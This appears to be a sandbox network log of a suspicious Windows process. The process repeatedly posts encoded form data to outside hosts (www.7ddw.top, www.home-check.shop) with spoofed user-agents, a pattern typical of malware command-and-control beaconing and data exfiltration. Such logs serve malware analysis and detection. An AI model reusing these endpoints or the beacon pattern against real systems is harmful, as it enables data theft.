Aug 27, 2024 08:00:13.070954084 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:00:12 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a62378-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.11.20	49872	154.23.184.207	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:15.625886917 CEST	1289	OUT	POST /pcjw/ HTTP/1.1 Host: www.7ddw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.7ddw.top Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.7ddw.top/pcjw/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 70 4e 61 6f 64 77 74 6b 31 79 6a 4e 4e 6a 74 56 66 35 30 46 79 75 53 6b 54 54 38 65 43 75 4e 4c 2b 48 32 51 76 78 6c 68 75 63 4d 69 6d 75 57 53 50 50 5a 54 59 64 68 32 41 46 6b 41 79 35 6b 73 63 69 36 59 61 48 4f 78 67 57 4f 6b 4f 47 6a 33 77 59 70 45 6b 4a 31 6e 54 52 39 41 59 38 42 2f 6f 66 31 2f 4d 56 68 35 34 4b 50 43 2b 57 6e 47 64 5a 41 4f 58 49 56 52 64 61 34 47 6e 56 33 6e 46 58 70 45 34 50 34 7a 51 42 65 79 30 53 45 67 68 69 47 30 46 36 4b 6f 54 39 75 2f 66 61 4b 49 63 58 74 4d 38 76 51 55 79 32 55 33 72 61 47 5a 6c 47 30 41 51 75 42 36 37 67 4d 32 69 30 62 56 76 4b 61 77 61 59 4f 78 42 2b 4a 43 48 57 64 46 4e 79 34 75 72 58 51 36 4f 36 4b 37 72 51 49 62 73 49 64 41 68 6f 41 48 72 76 61 69 69 79 48 65 66 58 59 2b 7a 57 4b 7a 79 30 72 7a 36 70 44 7a 57 42 34 69 39 49 74 79 37 48 77 48 62 7a 4e 4a 61 52 32 47 34 52 43 76 75 74 54 35 75 6b 6f 46 66 6b 4a 6b 46 7a 4f 56 6e 54 32 6b 2b 46 70 79 65 37 44 77 63 58 4a 63 36 6e 79 54 72 50 6b 50 6e 7a 63 77 46 34 70 50 64 [TRUNCATED] Data Ascii: ij60MtY=FpNaodwtk1yjNNjtVf50FyuSkTT8eCuNL+H2QvxlhucMimuWSPPZTYdh2AFkAy5ksci6YaHOxgWOkOGj3wYpEkJ1nTR9AY8B/of1/MVh54KPC+WnGdZAOXIVRda4GnV3nFXpE4P4zQBey0SEghiG0F6KoT9u/faKIcXtM8vQUy2U3raGZlG0AQuB67gM2i0bVvKawaYOxB+JCHWdFNy4urXQ6O6K7rQIbsIdAhoAHrvaiiyHefXY+zWKzy0rz6pDzWB4i9Ity7HwHbzNJaR2G4RCvutT5ukoFfkJkFzOVnT2k+Fpye7DwcXJc6nyTrPkPnzcwF4pPdhK3BxCkoyIxdRTaxAC8rVtC5kz/IJZnWAo13do5RXir6QGkRw6nM2PohpIxviq1/YdCxMtuYCxAaEZFQIc0SLtcMoIWutRdAoEVx0xh5iq13iDciWOjZBF3DRQrUn+qiW1G7WJPSlsGA3G6RNv5kcVAiysTAu8hr54UURz8kd18mYzaePkXSHX/bj+7kbNdqfew0U3yaZfELYo6S4yLkQsEW9eo2BJTuyD6hMTqOnEexAnny+NJMDIYGkCGXMGdgXCx5mzsRb9IkLBkbiaXCYtzh8TLSGkBJkeu+PcSts3QfLkn7AEimmkCDuYoGqzGkYEbySYIjafoslU6EBQwg45ISDqYmLMr
Aug 27, 2024 08:00:15.625936031 CEST	1289	OUT	Data Raw: 6d 6b 33 49 4e 79 4b 6b 33 37 47 61 73 4b 45 6e 2f 49 2b 32 4e 34 4c 41 2b 65 61 61 6e 62 4e 2f 66 59 53 2b 4f 76 77 58 32 6f 31 32 56 59 6c 43 41 38 66 51 6c 72 4a 47 2f 4d 58 7a 4c 65 36 48 36 38 6c 51 53 71 54 7a 57 31 30 46 65 50 56 70 58 70 Data Ascii: mk3INyKk37GasKEn/I+2N4LA+eaanbN/fYS+OvwX2o12VYlCA8fQlrJG/MXzLe6H68lQSqTzW10FePVpXp10Kj+YkVYQo6QshVihpReZF8XCylVUig0yN/oDeM+Xwv6wC1gbXJPHwurY5rd1T/cviSbY3SE9ILjvGJdMLbIjEz5QcMEQvygdWraXaukCFfVvdI03pcUMTmEaoUdY0b+7A+1Ili08huPfR5/i+Ljk1SRAlSG8pB0
Aug 27, 2024 08:00:15.625988007 CEST	10312	OUT	Data Raw: 57 30 6d 35 6c 73 64 47 62 46 6a 63 57 2f 45 4c 45 32 30 79 43 57 56 47 36 77 55 64 4f 63 50 58 51 70 34 41 39 77 37 76 43 42 73 2f 66 4d 68 39 58 53 53 32 75 50 37 67 65 61 6d 52 49 69 31 70 4a 64 32 58 53 31 54 58 48 72 49 36 35 48 76 53 43 63 Data Ascii: W0m5lsdGbFjcW/ELE20yCWVG6wUdOcPXQp4A9w7vCBs/fMh9XSS2uP7geamRIi1pJd2XS1TXHrI65HvSCcCMjKEsNbO0wkizSSUcnUTaoAkz2Q9vnVNYY5DTfe96vUwGRq+DHO+wftMlEQPv/QDv9ZItM9Jk1uZNRXqqc1rGnOGCbwp+dmvD4hJqp+UEBMplOFaohqQhCUv5zdz7JaiMdZKR9h+5T8+ulOT/8ZjPQ3woeoORUw/
Aug 27, 2024 08:00:15.956015110 CEST	1289	OUT	Data Raw: 73 75 41 41 72 71 35 30 52 56 49 4a 4b 6c 75 6e 6e 4f 35 73 48 66 74 5a 6a 41 55 6c 79 41 67 63 52 44 2f 4f 79 38 4d 7a 48 49 47 38 71 48 31 7a 63 59 30 35 64 39 70 51 70 56 4d 53 6d 75 66 44 62 4d 45 38 38 72 38 4a 64 6b 44 4c 4f 73 7a 57 32 6e Data Ascii: suAArq50RVIJKlunnO5sHftZjAUlyAgcRD/Oy8MzHIG8qH1zcY05d9pQpVMSmufDbME88r8JdkDLOszW2n1zacS9UH1w9VGU1G4rpWXc4+L9ZHAtWnaHSiwDjMcQ9fF/Ur7Cfd/8zqNojxHUPIE/naNbqY4y5KPFSJBnC6beE5Wu+rkL4h9T4d9SxfRvrn8s9w+w7If1X2hAL1aUNZsUquDLfKxIS4OmQ0hFfBgQfZjpPCK94p6
Aug 27, 2024 08:00:15.956067085 CEST	5156	OUT	Data Raw: 65 62 4c 4c 54 37 70 59 45 43 5a 75 45 4b 75 7a 48 34 78 42 71 31 79 6e 4d 30 55 4e 55 33 68 50 4c 48 58 33 7a 43 72 51 44 7a 4e 4c 65 4a 51 4f 6c 64 51 68 53 77 2f 4c 7a 59 2f 68 34 71 57 78 45 6b 70 63 76 31 73 41 46 39 50 47 73 7a 55 33 30 48 Data Ascii: ebLLT7pYECZuEKuzH4xBq1ynM0UNU3hPLHX3zCrQDzNLeJQOldQhSw/LzY/h4qWxEkpcv1sAF9PGszU30HDsVu8qqOYJIGg17P6Gufvamz1Ei1bGqAmqP/yUuDIvQ1RWNZUh9KVROZZKGpZQvtQ8+FWd1zPdA3pOBhjyFmIn1vCcN3XrCyLyfkrnKVyP2gMIJgzg6R4kLQ6zjITpTISrvrxB7yrSdAql753wio5FZaUojjDCF7E
Aug 27, 2024 08:00:15.956113100 CEST	1289	OUT	Data Raw: 37 72 47 4f 6e 68 65 78 7a 48 38 34 75 61 32 76 32 50 64 37 74 49 69 37 68 2b 72 69 37 77 76 77 4c 65 5a 74 2b 62 38 4a 45 72 64 5a 78 43 71 64 4f 41 45 57 6c 34 67 67 59 54 6d 73 38 32 33 68 7a 2f 53 74 6a 32 46 36 44 47 6c 41 4a 56 77 52 30 35 Data Ascii: 7rGOnhexzH84ua2v2Pd7tIi7h+ri7wvwLeZt+b8JErdZxCqdOAEWl4ggYTms823hz/Stj2F6DGlAJVwR05UQV2Zv7fFKw/mFCpdM4vsa+wagMaO7kTyzP5fCetHW79JnjHDbDyP7XMGD7jKowbaeRlIWVxybJsm3Pdf5RA05pmf3GiOmv5g3ZJOH0IXUqa1V5A+tiRAlWoputAUxCj3ZNWUV6wy1X7D1//+6/25/02KDA2efmDv
Aug 27, 2024 08:00:15.956453085 CEST	5156	OUT	Data Raw: 33 71 74 48 51 31 69 59 68 73 34 65 59 6d 30 74 35 63 44 52 76 61 47 36 4d 30 4b 48 65 71 31 75 50 73 32 65 4c 49 35 74 46 54 4e 6a 4e 45 36 64 35 6b 43 76 43 62 62 38 6a 73 6e 48 37 51 32 39 36 71 71 50 79 68 65 58 34 73 36 6e 6e 75 2f 56 6f 73 Data Ascii: 3qtHQ1iYhs4eYm0t5cDRvaG6M0KHeq1uPs2eLI5tFTNjNE6d5kCvCbb8jsnH7Q296qqPyheX4s6nnu/Vos/p4o53is6JoFisdXjPN3JU67UK1q7he5hwh7N8Gu3RXswikzSqdnx1gPfYSWqokyW59SSmFCymziOL+4odKFQhBbT5RtZKBPoA4xJrKNiNI3iKAqPfTj9iOjmUrREoQEqQJplR2m3iIv6VT3mDinMBPj+5cyw0OXf
Aug 27, 2024 08:00:15.956793070 CEST	5156	OUT	Data Raw: 35 51 50 74 48 36 77 30 4d 38 65 41 31 73 31 4b 44 6b 62 76 59 37 41 57 48 50 77 79 44 6e 2f 55 43 4d 30 65 2f 35 75 49 51 36 49 44 34 6c 75 74 2b 42 65 74 45 65 48 68 32 4a 67 31 47 4b 4b 34 47 5a 4b 48 31 79 79 69 58 39 39 51 46 6c 62 74 56 62 Data Ascii: 5QPtH6w0M8eA1s1KDkbvY7AWHPwyDn/UCM0e/5uIQ6ID4lut+BetEeHh2Jg1GKK4GZKH1yyiX99QFlbtVbJnLo4bTtxnLvrK/MRS/xOpg6r0MdiZR6iXxTQmTNZtk0STq5YVf5zRHi6yS8NYlr5aXHO47emKevfCvgrTl9MUijt+Q+6e6aaItgoF66N0syGt6d/GxSXxlrZ1eQWe+wIb0FWfib85vGTaAsQOSwPCwYZ0yy7TUvz
Aug 27, 2024 08:00:15.956964016 CEST	7734	OUT	Data Raw: 71 65 66 54 4f 75 71 66 72 2b 62 4f 62 4f 31 69 6e 48 61 6c 6b 45 59 54 6f 6f 2f 69 6a 64 69 76 6a 59 6e 56 65 6b 46 53 38 70 49 52 63 54 67 42 4c 4c 66 45 4a 70 72 7a 6c 4e 46 76 6e 73 50 53 41 61 7a 52 4c 6d 36 65 41 6e 6b 52 7a 47 2f 6c 63 4c Data Ascii: qefTOuqfr+bObO1inHalkEYToo/ijdivjYnVekFS8pIRcTgBLLfEJprzlNFvnsPSAazRLm6eAnkRzG/lcL/7b7FKOIWw+hGC9fQTWEZMNFjg1SXdfz0HN5LnAFJZaxhJu/RX1gpuBRTdrWgt0gLzolGAawcgJ25E6/DwpvpsHaLo49ukDkhJmUwets9HT0N7UFTKVLD46HJeT+9ZIIb80L6o3SXLZW9gKtEDPUhatImuzgFvaKp
Aug 27, 2024 08:00:16.285933971 CEST	1289	OUT	Data Raw: 32 54 2b 4e 6f 38 5a 47 74 34 6d 6c 31 39 62 4f 68 4d 41 53 53 74 36 4d 75 6a 38 6c 35 33 79 62 5a 59 39 6d 50 59 50 6a 43 2b 39 64 76 41 6b 30 7a 79 73 68 46 61 54 42 61 79 79 6f 5a 6e 36 44 6e 63 4e 75 42 49 63 4e 75 30 6b 36 48 41 4b 74 66 59 Data Ascii: 2T+No8ZGt4ml19bOhMASSt6Muj8l53ybZY9mPYPjC+9dvAk0zyshFaTBayyoZn6DncNuBIcNu0k6HAKtfY7JsFaqmJZq+NdMh5DDj5pHFtyj2fPSt9Iqk6QkL74Qf1SqJpPggzumBFj9fo/9KjHJp8T+jiOR8WF1nQYBl/POcs2OhzHRYAhj5cUdaKO31W3uBV2R20IESr0NFcbpr8xTR3xo7WVCX5HxBkILxLAXeTCMlSkbdqf
Aug 27, 2024 08:00:16.285981894 CEST	1289	OUT	Data Raw: 58 63 67 41 6d 2f 6c 45 30 7a 35 76 62 50 53 79 41 58 51 4b 35 5a 52 48 4f 49 5a 47 4b 6f 74 6e 7a 66 32 43 31 58 51 65 4e 7a 6e 31 2f 4b 70 6a 51 54 46 2f 66 64 50 75 6a 65 7a 2f 62 73 54 46 4e 74 48 57 57 78 50 58 4d 67 4d 4c 51 35 76 6f 73 74 Data Ascii: XcgAm/lE0z5vbPSyAXQK5ZRHOIZGKotnzf2C1XQeNzn1/KpjQTF/fdPujez/bsTFNtHWWxPXMgMLQ5vostYYMXXEkuGTNQStxYunvqfeGH36afH6oA8zhQycUTz3JlOlqTXSH5kSWNXlz0mMHQZMzlubhyaeev+0O/EznpRJQXH5SrBfcWwKHa56XJjzGI67qjvWLU2+ZcNfBtdJakmDkYRGblftu32wbdhlxGh/M4Fn9ETlG3P
Aug 27, 2024 08:00:16.617058992 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:00:15 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a62378-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.11.20	49873	154.23.184.207	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:18.473742008 CEST	542	OUT	GET /pcjw/?ij60MtY=Irl6roAKlXX+S/z4d/JGSgOFtgPcZWv0Ad/WGuEavtEpunmIUZ/WLqk+3ThtGR85672FVpbJ7guSoPSbpRkmFzROuSw6a7kz1v/qj+IPw73pHtOII/dFP3E=&wXB=brv4Erb HTTP/1.1 Host: www.7ddw.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:00:18.796854973 CEST	312	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:00:18 GMT Content-Type: text/html Content-Length: 148 Connection: close ETag: "66a62378-94" Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.11.20	49874	185.230.15.3	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:24.168150902 CEST	823	OUT	POST /ns8q/ HTTP/1.1 Host: www.home-check.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.home-check.shop Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.home-check.shop/ns8q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 6c 33 59 31 73 6c 4a 63 53 47 43 32 4b 65 55 4c 75 67 6e 57 61 59 35 6f 66 61 59 42 59 61 56 50 61 6f 47 6a 59 6a 2f 35 71 2f 57 58 68 35 33 4b 55 70 4d 52 58 70 72 47 67 66 74 46 2f 76 61 2f 59 4d 65 54 42 39 70 44 68 6a 75 6b 7a 39 58 42 69 69 6a 6b 66 62 45 71 45 69 41 75 2f 4c 2b 57 39 6e 48 51 61 58 30 39 50 54 61 58 4b 58 75 54 65 7a 77 59 57 55 77 6f 43 6d 7a 4a 77 6a 77 69 63 34 65 4b 36 4c 73 6b 4b 43 70 30 66 55 6c 4e 37 36 45 39 34 73 63 6b 46 73 31 61 52 38 62 54 5a 30 46 37 37 54 44 59 44 43 5a 4e 74 75 67 4a 6e 46 39 73 72 52 6b 42 7a 71 54 73 71 51 7a 63 51 3d 3d Data Ascii: ij60MtY=Fl3Y1slJcSGC2KeULugnWaY5ofaYBYaVPaoGjYj/5q/WXh53KUpMRXprGgftF/va/YMeTB9pDhjukz9XBiijkfbEqEiAu/L+W9nHQaX09PTaXKXuTezwYWUwoCmzJwjwic4eK6LskKCp0fUlN76E94sckFs1aR8bTZ0F77TDYDCZNtugJnF9srRkBzqTsqQzcQ==
Aug 27, 2024 08:00:24.459789038 CEST	292	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:00:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 35 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 30 b4 0b 4a cd 49 2c 49 4d 51 08 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b b1 d1 07 4a d9 14 d8 05 e7 17 15 55 ea 28 94 a7 2a 24 27 e6 81 65 33 f3 52 14 4a 32 12 4b 14 0a 80 1a f4 6c f4 0b ec 00 92 2e 89 84 46 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 540JI,IMQHLOU/QH/KJU(*$'e3RJ2Kl.F0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.11.20	49875	185.230.15.3	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:26.937452078 CEST	1163	OUT	POST /ns8q/ HTTP/1.1 Host: www.home-check.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.home-check.shop Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.home-check.shop/ns8q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 6c 33 59 31 73 6c 4a 63 53 47 43 77 65 69 55 4a 4a 30 6e 66 61 59 36 78 66 61 59 50 34 62 53 50 61 6b 47 6a 63 7a 76 2b 5a 58 57 58 41 4a 33 4c 57 42 4d 53 58 70 72 4a 41 65 70 47 50 76 6e 2f 59 52 6a 54 41 42 70 44 67 44 75 32 32 70 58 45 53 69 73 38 50 61 32 70 45 69 44 6b 66 4c 4f 57 39 71 75 51 59 72 30 39 66 76 61 46 38 6a 75 5a 72 50 7a 63 32 55 71 67 69 6d 30 41 51 6a 41 69 63 30 57 4b 37 7a 38 6a 38 4b 70 36 65 30 6c 4d 37 36 48 6f 59 73 6c 73 6c 74 4a 65 45 5a 66 56 61 41 61 2f 38 4b 5a 52 44 69 4f 47 64 6d 2f 48 47 4a 51 79 6f 4a 50 4b 41 79 4d 6f 4c 4d 37 49 55 4c 47 49 54 4c 58 79 4b 6e 32 78 44 50 72 76 58 79 77 66 61 6a 30 5a 6e 74 43 6b 51 4f 54 76 74 68 4a 69 67 70 41 2f 68 39 66 6a 31 65 53 4f 73 2b 39 71 65 48 68 6b 61 48 4c 43 30 66 53 35 31 6b 37 42 53 43 74 33 4d 4e 73 38 7a 54 75 38 56 74 53 66 35 6b 65 55 54 36 63 45 77 4f 65 64 5a 63 42 30 67 75 79 42 79 78 5a 34 4e 2b 63 77 65 62 67 57 41 43 6d 50 45 72 6b 2f 49 53 66 2b 54 5a 76 64 45 41 48 6e 75 [TRUNCATED] Data Ascii: ij60MtY=Fl3Y1slJcSGCweiUJJ0nfaY6xfaYP4bSPakGjczv+ZXWXAJ3LWBMSXprJAepGPvn/YRjTABpDgDu22pXESis8Pa2pEiDkfLOW9quQYr09fvaF8juZrPzc2Uqgim0AQjAic0WK7z8j8Kp6e0lM76HoYslsltJeEZfVaAa/8KZRDiOGdm/HGJQyoJPKAyMoLM7IULGITLXyKn2xDPrvXywfaj0ZntCkQOTvthJigpA/h9fj1eSOs+9qeHhkaHLC0fS51k7BSCt3MNs8zTu8VtSf5keUT6cEwOedZcB0guyByxZ4N+cwebgWACmPErk/ISf+TZvdEAHnuCMsFAXsQtz/EBDYFq8I7E/hLlPXzxyfhjYUiH1dWWSEJ4ZAzM1zL+6LMWmLtNVgPc8J5OHA0aSpSAF2RVgSUdtG0OTXLwJZ0bSc+NJWzWgx99HMfRjdJ5Kx9PHHUTT0rG2doNlRP36yynGxYgX8gqFTy6a5x/VXbhQGwzkO9LGQeyzu4x7+AmqK91I7xt4t/TvGR3/ygeFV5c=
Aug 27, 2024 08:00:27.228481054 CEST	292	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 27 Aug 2024 06:00:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 35 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 30 b4 0b 4a cd 49 2c 49 4d 51 08 48 4c 4f 55 c8 cb 2f 51 48 cb 2f cd 4b b1 d1 07 4a d9 14 d8 05 e7 17 15 55 ea 28 94 a7 2a 24 27 e6 81 65 33 f3 52 14 4a 32 12 4b 14 0a 80 1a f4 6c f4 0b ec 00 92 2e 89 84 46 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 540JI,IMQHLOU/QH/KJU(*$'e3RJ2Kl.F0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.11.20	49876	185.230.15.3	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:29.703767061 CEST	2578	OUT	POST /ns8q/ HTTP/1.1 Host: www.home-check.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.home-check.shop Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.home-check.shop/ns8q/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 46 6c 33 59 31 73 6c 4a 63 53 47 43 77 65 69 55 4a 4a 30 6e 66 61 59 36 78 66 61 59 50 34 62 53 50 61 6b 47 6a 63 7a 76 2b 5a 50 57 58 79 42 33 4b 33 42 4d 64 33 70 72 41 67 65 71 47 50 76 41 2f 59 4a 6e 54 41 4e 66 44 6b 7a 75 32 68 6c 58 44 67 61 73 70 2f 61 69 73 45 69 42 75 2f 4c 67 57 39 6e 35 51 59 76 4f 39 50 4c 61 58 50 72 75 54 34 6e 77 44 57 55 77 67 69 6d 67 45 51 6a 49 69 63 77 38 4b 37 50 38 6a 2b 2b 70 37 73 4d 6c 4a 71 36 48 38 34 73 69 31 31 74 47 4a 55 5a 32 56 61 55 30 2f 38 4c 73 52 47 61 4f 47 61 53 2f 45 42 39 66 78 49 4a 50 48 67 79 4e 35 62 41 33 49 56 6a 6b 49 51 58 58 79 49 6e 32 72 6a 50 72 35 6d 79 33 4c 71 6a 79 64 6e 74 76 79 51 54 51 76 73 45 77 69 69 6c 41 2f 56 56 66 69 45 65 53 43 74 2b 39 6b 65 48 6a 70 36 48 59 4a 55 66 34 35 31 31 53 42 53 69 58 33 50 68 73 38 52 62 75 70 42 5a 52 63 5a 6b 59 62 7a 37 59 41 31 57 61 64 5a 4d 64 30 67 75 69 42 7a 46 5a 34 39 75 63 7a 61 50 6a 56 51 43 68 47 6b 72 71 31 6f 57 56 2b 54 56 33 64 45 34 70 6e 75 [TRUNCATED] Data Ascii: ij60MtY=Fl3Y1slJcSGCweiUJJ0nfaY6xfaYP4bSPakGjczv+ZPWXyB3K3BMd3prAgeqGPvA/YJnTANfDkzu2hlXDgasp/aisEiBu/LgW9n5QYvO9PLaXPruT4nwDWUwgimgEQjIicw8K7P8j++p7sMlJq6H84si11tGJUZ2VaU0/8LsRGaOGaS/EB9fxIJPHgyN5bA3IVjkIQXXyIn2rjPr5my3LqjydntvyQTQvsEwiilA/VVfiEeSCt+9keHjp6HYJUf4511SBSiX3Phs8RbupBZRcZkYbz7YA1WadZMd0guiBzFZ49uczaPjVQChGkrq1oWV+TV3dE4pnu2MtlAXp3x0x0BEUlqxGbF9hLYeX2IPcQPYGiX1M2WRAp4jXjMJ3L+6LMayLtRVgek8ILGHFjOSvSAf2RU8SVhGG0GxXLAjZyDScqJJRyWh0N9CIfR0CZljx9TPHVvt0dS2csRlav35ninLmohUvwujTy2g5xLFXYhQEkymfvHOL+iAtM102muKD/xr/htqrozGaCDuiy7DB824lfsaTHJa1CRAguJ5817FryyECrgkcawAd6N2JkPcXvzA5V/xux915AymnZbTDS6VDWr4uEU7lMSahjRI/XvOzoNc6wrzzkdk/5+x7V7HouKRlk6OWNEla60tG6YewrQ2x8pj2nZPTKFeSk8pMZbTkQ6S+PFBl2l+BD2tBZQo4l2QkJBg8v/4GlvWLJZ3KU6wip/Xe5fSjOfBni5ep2eki/lxOkJOY19RBIMDpmg2ZVEVYAgUv4NmDrGHry8jSAC8tI+DKJoHam89ZSyEcXL7cLZWUBJOK4mpNkQE8T1WsXBIgS0ia28h22U2VGWg0nbQVZ2asRp6VlDoiYvIMCU8nxiummj4lpeYPdviHrta+voOxpTUNcMeTsxLl3sRsVwngreLtdTaT6yZSyRgIthNhfzCN9BkcY+vvDaAra9ydqoodmaUSoDPlYK6M5/ZKfcogUAPXLhEweM65kEUoOLX [TRUNCATED]
